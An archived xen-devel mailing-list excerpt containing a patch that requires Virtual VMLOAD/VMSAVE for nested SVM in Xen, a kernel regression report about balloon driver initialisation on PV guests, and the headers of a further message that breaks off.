	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Teddy Astie <teddy.astie@vates.tech>,
	Jason Andryuk <jason.andryuk@amd.com>
Subject: [PATCH] x86/svm: require VMSAVEvirt for nested virt
Date: Mon, 27 Jul 2026 15:17:08 +0800
Message-ID: <20260727071709.196088-1-stephen.cheng@citrix.com>
X-Mailer: git-send-email 2.49.0
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: JH0PR01CA0042.apcprd01.prod.exchangelabs.com
 (2603:1096:990:5c::9) To CO1PR03MB7889.namprd03.prod.outlook.com
 (2603:10b6:303:275::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CO1PR03MB7889:EE_|DSSPR03MB989190:EE_
X-MS-Office365-Filtering-Correlation-Id: 5f42f42c-c6ad-4960-6ab1-08deebaf251c
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|376014|1800799024|23010399003|56012099006|11063799006|10067099003|6133799003|5023799004|18002099003|3023799007;
X-Microsoft-Antispam-Message-Info:
	r2TM/NHZQg3mF8LheWnkJyPgAcPr4gNcMUYz7pVmatNPaJRkmtJMEDEvkHH7w51xVSZFWnMC6lS2LTsfjcnbF7GqWvubBdeZoZitA9tkYUWa4lYtioQSFRFrQ2glL+V1GVHCp027ISmVBpTvuSWYhWfmyjg1U7mXblxf8aMW+0LDTQih9WE9qXwCq3yKiLiFpfGhqLEHPBhzCW06l91FlrHH0gYL8A+Q23kyLsYlvBwcjbcIAUA02bgTEUupI3nHP+RoJj6xNAnu81jLXAg2g4Z+2iMlTycpkpZzmfBL9Q/JU1qR1FyPsgHnsOf0g9ZkQBj2cS64cNMoT4QWBKYxYVzOqgtNj/+9AxEqR7Pw4ojce+4Qyxr+xbJYm18LM2+IoGE9139pK2yAc1loD3cSvyPzquC08wMvdNLCkpXEGEAgkCHAG3R4Zv3g7GCjHef3rOQU8E7uHqR8vCLvc2+i+EcUuxD4Z0eUHq5LS9N6G692i1aIhzQt2MZlFzSDKUVbjoao2s7F5e1IOWQruxWwpz/L92CGESEoFoZq/2eZF5C5+iMWEkeEsQPY0hBmQNd1Rns/vOf2BXA6lNkkFQSCLdI30wG5JuQNScnzikERKUwEZFYZwUBLumdBMyR/XhVcq9HpNM07uNqytJweeBvASfUoL2LWgVKFc3VyK5bhuP0=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CO1PR03MB7889.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(376014)(1800799024)(23010399003)(56012099006)(11063799006)(10067099003)(6133799003)(5023799004)(18002099003)(3023799007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?+QXQqUt49Azw7RvDB6CSfTJgyEabw5GwUj5NslIqMk1IOmqawJPDpgCQPdz3?=
 =?us-ascii?Q?J01rQoaUq5UPZs0Im8EtyTxoIiX5YWcXs+O9V9dP8BHnGAT0agPNv1s14F5z?=
 =?us-ascii?Q?J7NWQRdV6jEzvzXCHHz3Ict6V1xGGj9vRwKY/VLREYLD3z2vM/PcIs6NbrbX?=
 =?us-ascii?Q?9x10j/m25SAMI/pz0oKJw/2pN9A8mWmpMZXQzKwXpQ8MVhYLUlsP9SizNeUz?=
 =?us-ascii?Q?pcpd/08BVTr5FrcIWhptSw8ax3U/CAXVtBWU8JQxHQhX3NpJGk3LTpS0iyew?=
 =?us-ascii?Q?6D51ey5hXxFIQG/m/Ae+Jcd8mBCTb99TnkbfgYsnc9BIx+zHP2T53S39zXsZ?=
 =?us-ascii?Q?d1bvB83MMG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2P23O6+TZwNtWLcbRnDdEZvL?=
 =?us-ascii?Q?TXTArIwExA2l3kshY9tlC4X0btAfXGSZZT2f82AuMEluicfytz68GnueqPzy?=
 =?us-ascii?Q?uKF6GhsRXUEkGJfMqIy222JBM6PlQcNFQdCjV8b80VCNzBQlOzb44GEbl8l1?=
 =?us-ascii?Q?6XCuU5Y1j4+W4ZiwyWRKdfrpG7ZekPeGOsKCfIHIiMwBtNG7xrVgmJDZQkKV?=
 =?us-ascii?Q?ZPCK8i9WAZhYKq5MegL3HVYCdWV01opDHuL4RfNl1pqKxpfVeCzHXovy2n5M?=
 =?us-ascii?Q?BivwPHGBmb5MPmqP/kFLjwujuyxe3Nct8aPeU6PrUsOIwx2d4iCqJART6jVh?=
 =?us-ascii?Q?R2ks+hqB0fRkt/+MuE0tGS/740UtoWBb04NgC7+mMoHbqbbQYKzuV229ICdO?=
 =?us-ascii?Q?W+2MTL7eXLkdBHVc8H/1bFqzbPBbLu5eXKJHsdko6M2H3H5GQSQMCeh5w7f4?=
 =?us-ascii?Q?I0xmFPzUKisOx3yjCr6o6DfPDqafz9//lxLAQ6FWeHGIAiIA2vlCjL5yc0pG?=
 =?us-ascii?Q?fa/bEJdo1g=3D=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 5f42f42c-c6ad-4960-6ab1-08deebaf251c
X-MS-Exchange-CrossTenant-AuthSource: CO1PR03MB7889.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 27 Jul 2026 07:17:41.0037
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 46j0eYsuCaVPue5w1yAhNmsZj6gW2nnsv6/9FaWtuBkE5qBWnKsaULi+MkrSfvdMrfBYcCdUC/ISRr/qFqaJxF1zeDncfPmwg1H4PLF3T8c=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DSSPR03MB989190
X-purgate-ID: tlsNG-ebf023/1785136664-51CD7B50-F338F3F8/0/0
X-purgate-type: clean
X-purgate-size: 9859

Virtual VMLOAD/VMSAVE lets an L1 guest execute VMLOAD and VMSAVE
without intercepts.  Without it, Xen has to map the L1-provided VMCB
and re-execute each instruction in L0, complicating security-sensitive
state handling.

Make VMSAVEvirt a hard requirement for nested SVM.  Advertise it to
L1, enable it when L1 enables SVM, and remove the nested VMLOAD/VMSAVE
emulation path.  Any remaining intercept therefore comes from a guest
which has not enabled SVM and receives #UD.

Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Stephen Cheng <stephen.cheng@citrix.com>
---
 docs/designs/nested-svm-cpu-features.md |  11 +++
 xen/arch/x86/cpu-policy.c               |   3 +-
 xen/arch/x86/hvm/svm/nestedsvm.c        |  24 ++++--
 xen/arch/x86/hvm/svm/svm.c              | 100 +++---------------------
 xen/arch/x86/hvm/svm/svm.h              |   2 -
 5 files changed, 41 insertions(+), 99 deletions(-)

diff --git a/docs/designs/nested-svm-cpu-features.md b/docs/designs/nested-svm-cpu-features.md
index ce168e68e1..798480b259 100644
--- a/docs/designs/nested-svm-cpu-features.md
+++ b/docs/designs/nested-svm-cpu-features.md
@@ -109,3 +109,14 @@ leaf 8000000A:edx
   Using it in L0 reduces the chance that we'll make some sort of error
   in the decode path.  And if hardware supports it, it's easy enough
   to provide to the L1.
+
+- 15 `VLoadSave` *Virtual VMLOAD/VMSAVE*: Require for L0, provide to L1
+
+  Without this feature Xen has to intercept the L1 hypervisor's VMLOAD
+  and VMSAVE instructions and emulate them by re-executing the real
+  instruction on a mapped copy of the L1-supplied VMCB.  That path
+  handles a complex, security-sensitive subset of state (the hidden
+  segment descriptors for FS/GS/TR/LDTR plus the SYSCALL/SYSENTER
+  MSRs), so on faithfulness grounds we'd much rather let the hardware
+  do it.  When present, the instructions execute natively in the guest
+  without a #VMEXIT, which is both simpler and faster.
diff --git a/xen/arch/x86/cpu-policy.c b/xen/arch/x86/cpu-policy.c
index 5273fe0ae4..f151623f5e 100644
--- a/xen/arch/x86/cpu-policy.c
+++ b/xen/arch/x86/cpu-policy.c
@@ -837,7 +837,8 @@ static void __init calculate_hvm_max_policy(void)
                                (1u << SVM_FEATURE_LBRV) |
                                (1u << SVM_FEATURE_NRIPS) |
                                (1u << SVM_FEATURE_PAUSEFILTER) |
-                               (1u << SVM_FEATURE_DECODEASSISTS));
+                               (1u << SVM_FEATURE_DECODEASSISTS) |
+                               (1u << SVM_FEATURE_VLOADSAVE));
         /* Enable features which are always emulated. */
         p->extd.raw[0xa].d |= (1u << SVM_FEATURE_VMCBCLEAN);
     }
diff --git a/xen/arch/x86/hvm/svm/nestedsvm.c b/xen/arch/x86/hvm/svm/nestedsvm.c
index b06124c2c9..794fb6e589 100644
--- a/xen/arch/x86/hvm/svm/nestedsvm.c
+++ b/xen/arch/x86/hvm/svm/nestedsvm.c
@@ -562,7 +562,10 @@ static int nsvm_vmcb_prepare4vmrun(struct vcpu *v, struct cpu_user_regs *regs)
 
     /* Keep the host values of the fs, gs, ldtr, tr, kerngsbase,
      * star, lstar, cstar, sfmask, sysenter_cs, sysenter_esp,
-     * sysenter_eip. These are handled via VMSAVE/VMLOAD emulation.
+     * sysenter_eip. These are not transferred by VMRUN/#VMEXIT; they
+     * are moved directly to/from the L1-provided VMCB by the guest's
+     * own VMSAVE/VMLOAD, which run natively (VMSAVEvirt is required
+     * for nested virt).
      */
 
     /* PAT */
@@ -1097,7 +1100,10 @@ nsvm_vmcb_prepare4vmexit(struct vcpu *v, struct cpu_user_regs *regs)
 
     /* Keep the l2 guest values of the fs, gs, ldtr, tr, kerngsbase,
      * star, lstar, cstar, sfmask, sysenter_cs, sysenter_esp,
-     * sysenter_eip. These are handled via VMSAVE/VMLOAD emulation.
+     * sysenter_eip. These are not transferred by VMRUN/#VMEXIT; they
+     * are moved directly to/from the L1-provided VMCB by the guest's
+     * own VMSAVE/VMLOAD, which run natively (VMSAVEvirt is required
+     * for nested virt).
      */
 
     /* CR2 */
@@ -1547,9 +1553,14 @@ void svm_nested_features_on_efer_update(struct vcpu *v)
      */
     if ( nsvm_efer_svm_enabled(v) )
     {
+        /*
+         * VMSAVEvirt is a hard requirement for nested virt (see
+         * start_nested_svm()), so it is guaranteed present here.
+         */
+        ASSERT(cpu_has_svm_vloadsave);
+
         if ( !vmcb->virt_ext.fields.vloadsave_enable &&
-             paging_mode_hap(v->domain) &&
-             cpu_has_svm_vloadsave )
+             paging_mode_hap(v->domain) )
         {
             vmcb->virt_ext.fields.vloadsave_enable = 1;
             general2_intercepts  = vmcb_get_general2_intercepts(vmcb);
@@ -1603,9 +1614,10 @@ void __init start_nested_svm(struct hvm_function_table *hvm_function_table)
      * docs/designs/nested-svm-cpu-features.md for rationale.
      */
     hvm_function_table->caps.nested_virt =
-        hvm_function_table->caps.hap && 
+        hvm_function_table->caps.hap &&
         cpu_has_svm_lbrv &&
         cpu_has_svm_nrips &&
         cpu_has_svm_flushbyasid &&
-        cpu_has_svm_decode;
+        cpu_has_svm_decode &&
+        cpu_has_svm_vloadsave;
 }
diff --git a/xen/arch/x86/hvm/svm/svm.c b/xen/arch/x86/hvm/svm/svm.c
index 38c61db1d7..637c29daf7 100644
--- a/xen/arch/x86/hvm/svm/svm.c
+++ b/xen/arch/x86/hvm/svm/svm.c
@@ -2134,95 +2134,17 @@ svm_vmexit_do_vmrun(struct cpu_user_regs *regs,
     return;
 }
 
-static struct page_info *
-nsvm_get_nvmcb_page(struct vcpu *v, uint64_t vmcbaddr)
-{
-    p2m_type_t p2mt;
-    struct page_info *page;
-    struct nestedvcpu *nv = &vcpu_nestedhvm(v);
-
-    if ( !nestedsvm_vmcb_map(v, vmcbaddr) )
-        return NULL;
-
-    /* Need to translate L1-GPA to MPA */
-    page = get_page_from_gfn(v->domain, nv->nv_vvmcxaddr >> PAGE_SHIFT,
-                             &p2mt, P2M_ALLOC | P2M_UNSHARE);
-    if ( !page )
-        return NULL;
-
-    if ( !p2m_is_ram(p2mt) || p2m_is_readonly(p2mt) )
-    {
-        put_page(page);
-        return NULL;
-    }
-
-    return  page;
-}
-
-static void
-svm_vmexit_do_vmload(struct vmcb_struct *vmcb,
-                     struct cpu_user_regs *regs,
-                     struct vcpu *v, uint64_t vmcbaddr)
-{
-    unsigned int inst_len;
-    struct page_info *page;
-
-    if ( (inst_len = svm_get_insn_len(v, INSTR_VMLOAD)) == 0 )
-        return;
-
-    if ( !nsvm_efer_svm_enabled(v) )
-    {
-        hvm_inject_hw_exception(X86_EXC_UD, X86_EVENT_NO_EC);
-        return;
-    }
-
-    page = nsvm_get_nvmcb_page(v, vmcbaddr);
-    if ( !page )
-    {
-        gdprintk(XENLOG_ERR,
-            "VMLOAD: mapping failed, injecting #GP\n");
-        hvm_inject_hw_exception(X86_EXC_GP, 0);
-        return;
-    }
-
-    svm_vmload_pa(page_to_maddr(page));
-    put_page(page);
-
-    /* State in L1 VMCB is stale now */
-    v->arch.hvm.svm.vmcb_sync_state = vmcb_needs_vmsave;
-
-    __update_guest_eip(regs, inst_len);
-}
-
 static void
-svm_vmexit_do_vmsave(struct vmcb_struct *vmcb,
-                     struct cpu_user_regs *regs,
-                     struct vcpu *v, uint64_t vmcbaddr)
+svm_vmexit_do_vmload_vmsave(struct vcpu *v)
 {
-    unsigned int inst_len;
-    struct page_info *page;
-
-    if ( (inst_len = svm_get_insn_len(v, INSTR_VMSAVE)) == 0 )
-        return;
-
-    if ( !nsvm_efer_svm_enabled(v) )
-    {
-        hvm_inject_hw_exception(X86_EXC_UD, X86_EVENT_NO_EC);
-        return;
-    }
-
-    page = nsvm_get_nvmcb_page(v, vmcbaddr);
-    if ( !page )
-    {
-        gdprintk(XENLOG_ERR,
-            "VMSAVE: mapping vmcb failed, injecting #GP\n");
-        hvm_inject_hw_exception(X86_EXC_GP, 0);
-        return;
-    }
-
-    svm_vmsave_pa(page_to_maddr(page));
-    put_page(page);
-    __update_guest_eip(regs, inst_len);
+    /*
+     * VMSAVEvirt is required for nested virt, so once a guest enables SVM its
+     * VMLOAD/VMSAVE execute natively and are no longer intercepted.  An
+     * intercepted VMLOAD/VMSAVE therefore means the guest has not enabled SVM:
+     * inject #UD.
+     */
+    ASSERT(!nsvm_efer_svm_enabled(v));
+    hvm_inject_hw_exception(X86_EXC_UD, X86_EVENT_NO_EC);
 }
 
 static int svm_is_erratum_383(struct cpu_user_regs *regs)
@@ -2950,10 +2872,8 @@ void asmlinkage svm_vmexit_handler(void)
         svm_vmexit_do_vmrun(regs, v, regs->rax);
         break;
     case VMEXIT_VMLOAD:
-        svm_vmexit_do_vmload(vmcb, regs, v, regs->rax);
-        break;
     case VMEXIT_VMSAVE:
-        svm_vmexit_do_vmsave(vmcb, regs, v, regs->rax);
+        svm_vmexit_do_vmload_vmsave(v);
         break;
     case VMEXIT_STGI:
         svm_vmexit_do_stgi(regs, v);
diff --git a/xen/arch/x86/hvm/svm/svm.h b/xen/arch/x86/hvm/svm/svm.h
index cfa411ad5a..56a1a4840b 100644
--- a/xen/arch/x86/hvm/svm/svm.h
+++ b/xen/arch/x86/hvm/svm/svm.h
@@ -52,8 +52,6 @@ static inline void svm_invlpga(unsigned long linear, uint32_t asid)
 #define INSTR_XSETBV     INSTR_ENC(X86EMUL_OPC(0x0f, 0x01), 0321) /* octal-ok */
 #define INSTR_VMRUN      INSTR_ENC(X86EMUL_OPC(0x0f, 0x01), 0330) /* octal-ok */
 #define INSTR_VMCALL     INSTR_ENC(X86EMUL_OPC(0x0f, 0x01), 0331) /* octal-ok */
-#define INSTR_VMLOAD     INSTR_ENC(X86EMUL_OPC(0x0f, 0x01), 0332) /* octal-ok */
-#define INSTR_VMSAVE     INSTR_ENC(X86EMUL_OPC(0x0f, 0x01), 0333) /* octal-ok */
 #define INSTR_STGI       INSTR_ENC(X86EMUL_OPC(0x0f, 0x01), 0334) /* octal-ok */
 #define INSTR_CLGI       INSTR_ENC(X86EMUL_OPC(0x0f, 0x01), 0335) /* octal-ok */
 #define INSTR_INVLPGA    INSTR_ENC(X86EMUL_OPC(0x0f, 0x01), 0337) /* octal-ok */

base-commit: 644ea6f84510af27ee1847e981df945a94068479
-- 
2.49.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 27 08:44:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 08:44:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371469.1618973 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woGw9-0002nf-7P; Mon, 27 Jul 2026 08:43:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371469.1618973; Mon, 27 Jul 2026 08:43:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woGw9-0002nX-4Q; Mon, 27 Jul 2026 08:43:49 +0000
Received: by outflank-mailman (input) for mailman id 1371469;
 Mon, 27 Jul 2026 08:43:47 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <regressions@leemhuis.info>) id 1woGw6-0002nP-SR
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 08:43:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woGw5-007KKS-Rq
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 10:43:45 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <regressions@leemhuis.info>)
 id 6a671a3f-2eae-0a2a0a5409dd-0a2a4508e9cc-6
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 10:43:44 +0200
Received: from [188.68.61.103] (helo=relay.yourmailgateway.de)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <regressions@leemhuis.info>)
 id 6a671a40-f659-0a2a45080019-bc443d67c9b5-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 10:43:44 +0200
Received: from mors-relay-8403.netcup.net (localhost [127.0.0.1])
 by mors-relay-8403.netcup.net (Postfix) with ESMTPS id 4h7sXz5wWlz85yT;
 Mon, 27 Jul 2026 10:42:27 +0200 (CEST)
Received: from policy02-mors.netcup.net (unknown [46.38.225.35])
 by mors-relay-8403.netcup.net (Postfix) with ESMTPS id 4h7sXz5CtLz85yB;
 Mon, 27 Jul 2026 10:42:27 +0200 (CEST)
Received: from mxe9fb.netcup.net (unknown [10.243.12.53])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange ECDHE (P-256) server-signature RSA-PSS (2048 bits) server-digest
 SHA256) (No client certificate requested)
 by policy02-mors.netcup.net (Postfix) with ESMTPS id 4h7sXy24Yzz8sch;
 Mon, 27 Jul 2026 10:42:26 +0200 (CEST)
Received: from [IPV6:2a02:8108:8984:1d00:a0cf:1912:4be:477f] (unknown
 [IPv6:2a02:8108:8984:1d00:a0cf:1912:4be:477f])
 by mxe9fb.netcup.net (Postfix) with ESMTPSA id 851D35FBA6;
 Mon, 27 Jul 2026 10:42:25 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key2 header.d=leemhuis.info header.i="@leemhuis.info" header.h="Date:From:To:Cc:Subject"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=leemhuis.info;
	s=key2; t=1785141747;
	bh=dg2PdX38sKrE/AgiN98q4bIDUpM5WsUPGpi34yki+0w=;
	h=Date:From:To:Cc:Subject:From;
	b=fWHg+giyCHnqiclmqOW/FRjJRYDY/7x6tQEUjJ1iy/f/uF1vK7f34hyYdBjWdzb1j
	 5Tc+5V4m4CVP+AtoIQWkLSkzjvRgnDS4Unr5wpPq1ggsJLfdFjLG8GOoOoYAFKlxcH
	 wH1dfD4KC/q8Pikf+CB9PtvuygoFutPZsKNyIxfh1zy+mlajPYfsNLHxySnuDJ0n1o
	 lkeHdlmfj37+Ymv2UN8vWan+WLzTDQIIaOp2oxqnsXkuCiEItqER7P514q3ZZ28gnS
	 Gmkim0v3caz6OlMwFqTwOAwqXNaATXnIYbobJEzaC3B3wYNCrF5yX3FkLoIXcRArEb
	 FLxNuQwmpl4Ug==
Authentication-Results: mxe9fb;
        spf=pass (sender IP is 2a02:8108:8984:1d00:a0cf:1912:4be:477f) smtp.mailfrom=regressions@leemhuis.info smtp.helo=[IPV6:2a02:8108:8984:1d00:a0cf:1912:4be:477f]
Received-SPF: pass (mxe9fb: connection is authenticated)
Message-ID: <f7fe5959-f0c6-430c-8404-927d7944c836@leemhuis.info>
Date: Mon, 27 Jul 2026 10:42:25 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
From: Thorsten Leemhuis <regressions@leemhuis.info>
Content-Language: de-DE, en-US
To: Roger Pau Monne <roger.pau@citrix.com>
Cc: Juergen Gross <jgross@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Linux kernel regressions list <regressions@lists.linux.dev>,
 yannick.martin+kernelorg@okazoo.eu
Subject: [regression] Bug 221745 - PV DomU ballooning driver init issue
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-PPP-Message-ID: <178514174583.976006.15917720183139081453@mxe9fb.netcup.net>
X-NC-CID: fBr7XczVS2ya6Qqy17DIK86+ueCERFBW/JVA7MLO2EUsYNBv5Og=
X-purgate-ID: tlsNG-c1860d/1785141824-D755C87B-2B978668/0/0
X-purgate-type: clean
X-purgate-size: 1619

Hi Roger! FYI, it seems your change 0949c646d64697 ("Partial revert
"x86/xen: fix balloon target initialization for PVH dom0"") [v7.0-rc1]
caued a regression. For details see
https://bugzilla.kernel.org/show_bug.cgi?id=221745

To quote the initial comment:

> Since commit db8c4b1 (Partial revert "x86/xen: fix balloon target initialization for PVH dom0"), xen ballooning fails to init correctly on domU (on amd64 arch) with the following configuration:
> 
> -- xl.cfg
> ...
> memory      = '2048'
> maxmem      = '4096'
> ...
> --
> 
> -- domU balloon dmesg (init fails)
> [    0.908337] xen:balloon: Initialising balloon driver
> [    0.940721] Extra pages underflow current target
> --

db8c4b1 is the backport of the commit to 6.12.y; the reporter (CCed) in
a later comment to the bug tracker confirmed that the problem happens
with 7.2.0-rc3, too, and also stated:

> The dmesg by itself is not relevant except:
> [    1.105207] xen:balloon: Initialising balloon driver
> [    1.222758] ------------[ cut here ]------------
> [    1.222790] Extra pages underflow current target
> [    1.222792] WARNING: at 0xffffffff8252a424, CPU#1: swapper/0/1
> 
> init exits on ERANGE handling:
> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/xen/balloon.c?h=v7.2-rc4#n772
> 
> because of ERANGE:
> https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/drivers/xen/balloon.c?h=v7.2-rc4#n714
> 
> kernel thread xen-balloon does not exist on VM with kernel newer than 6.12.75 (on 6.12 branch) where the patch was merged.

Ciao, Thorsten


From xen-devel-bounces@lists.xenproject.org Mon Jul 27 09:11:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 27 Jul 2026 09:11:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371480.1618983 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woHN7-0006dM-A7; Mon, 27 Jul 2026 09:11:41 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371480.1618983; Mon, 27 Jul 2026 09:11:41 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woHN7-0006dF-7B; Mon, 27 Jul 2026 09:11:41 +0000
Received: by outflank-mailman (input) for mailman id 1371480;
 Mon, 27 Jul 2026 09:11:40 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fa2d80d54000e099@swg.vates.tech>)
 id 1woHN6-0006d9-Az
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 09:11:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woHN4-00Giu4-QN
 for xen-devel@lists.xenproject.org; Mon, 27 Jul 2026 11:11:38 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fa2d80d54000e099@swg.vates.tech>)
 id 6a6720c8-e002-0a2a0a5209dd-0a2a4509de18-8
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 11:11:38 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19fa2d80d54000e099@swg.vates.tech>)
 id 6a6720ca-be1a-0a2a45090019-b9ff1c1288e1-3
 for <xen-devel@lists.xenproject.org>; Mon, 27 Jul 2026 11:11:38 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19fa2d80d54000e099.002 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Mon, 27 Jul 2026 09:11:36 +0000
Received: from julian.home (areims-651-1-80-194.w90-18.abo.wanadoo.fr
 [90.18.187.194]) (Authenticated sender: julian.vetter@vates.tech)
 by mail2.vates.fr (Postfix) with ESMTPSA id 5CA768214F;
 Mon, 27 Jul 2026 11:11:35 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=LBol3HUYj8yNM7RMJBRbeCwo2nqp18ia/cUHJKMWjoA=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:feedback-id;
 b=KR2arOR9o9SmkyVDscnbf393QcVjV6uIzF/e7NUt2M5UUusSJ7/OTZ9FZ7gMOv2AEctcs2KSs
 Nt+b7IJ4SAt3BlBYkpijDBa5rSXgKGY4qar0+Tm1NiBFD9tcXqMqeozIT9DHLME8HIjGn130rCk
 Hdre2yYm+mAAVXtKIo9swREB5CtfliXx8XUP8d+dnm73pqYFItJwthMU+5AOrz81CfZqIYFRgjv
 GpNa7EWquU91RQ14voJ1/mtBCKDOCo14bMUZWz2wAHk9bdwkv4U7lhq/CqFMtn0g3IiMzIFwwp0
 Ysa2F9HeRjDeb5IpDIHylnT9aGiu+Aq3AB2zFU4aTjMA==
X-Zone-Loop: 38a3bc0b903d4d8bfe35007b78e653d491c05c0d1cf0
x-campaign-type: default
x-transaction-id: 20526fa3-6386-4743-a269-1873c229619f
x-swg-uid: 01-45072346-eeca-4b47-86f7-83b5cca3a019
X-Mailer: Sweego
Message-ID:
 <1785143496.8631fc262581453bbf619ec5b2062170.19fa2d80d54000e099@vates.tech>
x-swg-bid: 1785143496.8631fc262581453bbf619ec5b2062170.19fa2d80d54000e099
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
From: Julian Vetter <julian.vetter@vates.tech>
To: xen-devel@lists.xenproject.org
Cc: Anthony PERARD <anthony.perard@vates.tech>,
